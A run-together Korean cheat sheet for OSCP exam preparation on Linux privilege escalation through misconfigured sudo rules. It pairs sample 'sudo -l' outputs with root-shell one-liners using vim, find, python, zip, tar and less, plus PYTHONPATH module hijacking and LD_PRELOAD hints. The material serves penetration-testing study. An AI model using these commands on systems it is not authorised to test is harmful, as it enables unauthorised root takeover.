sudo -l
$ sudo -l
User testuser may run the following commands on hostname:
(ALL) NOPASSWD: /usr/bin/vim
NOPASSWD) vim을 root 권한으로 실행 가능합니다.:! 명령을 통해 쉘 명령어 실행 가능.sudo vim -c ':!/bin/bash'$ sudo -l
User testuser may run the following commands on hostname:
(ALL : ALL) ALL
sudo bash로 권한 상승 가능.sudo /bin/bash (비밀번호 입력 필요)$ sudo -l
User testuser may run the following commands on hostname:
(ALL) NOPASSWD: /usr/bin/find, /usr/bin/python
sudo find . -exec /bin/bash \; -quitsudo python -c 'import pty;pty.spawn("/bin/bash")'$ sudo -l
User testuser may run the following commands on hostname:
(web_admin) NOPASSWD: /bin/systemctl restart apache2
$ sudo -l
User testuser may run the following commands on hostname:
(ALL) NOPASSWD: /usr/bin/zip * /tmp/backup.zip
sudo zip -T --unzip-command="sh -c /bin/bash" /tmp/backup.zip$ sudo -l
User testuser may run the following commands on hostname:
(ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup_script.py
sudo PYTHONPATH=/tmp python3 /opt/backup_script.py (모듈 하이재킹)(ALL): 모든 사용자로 명령을 실행할 수 있음을 의미(root): root 사용자로만 명령을 실행할 수 있음NOPASSWD: 비밀번호 없이 명령을 실행할 수 있음ALL: 모든 명령어를 실행할 수 있음sudo -l 결과에서 다음과 같은 명령어가 있으면 권한 상승이 가능합니다.vim, nano, less, find, python, perl, awk, tar, bash, sh 등/bin/bash, /bin/sh 등이 있으면 직접 쉘 획득 가능python, perl, ruby 등이 있으면 코드 실행을 통해 쉘 획득 가능vim, nano, emacs 등이 있으면 쉘 명령어 실행 기능을 통해 쉘 획득 가능find, awk, sed 등이 있으면 명령어 실행 옵션을 통해 쉘 획득 가능tar, zip, man, less 등이 있으면 내부 명령어 실행 기능을 통해 쉘 획득 가능/usr/bin/)가 있는지 확인 -> 전체 경로가 지정되어 있으면 해당 바이너리만 실행 가능*)가 있는지 확인 -> 추가 옵션이나 인자 전달 가능성LD_PRELOAD, LD_LIBRARY_PATH 등을 이용한 권한 상승 가능성sudo /bin/bash
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo vim -c ':!/bin/bash'
sudo find . -exec /bin/bash \; -quit
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo less /etc/hosts
!bash
위 내용은 OSCP 시험에서 허용되는 수동 침투 방법만을 다룹니다.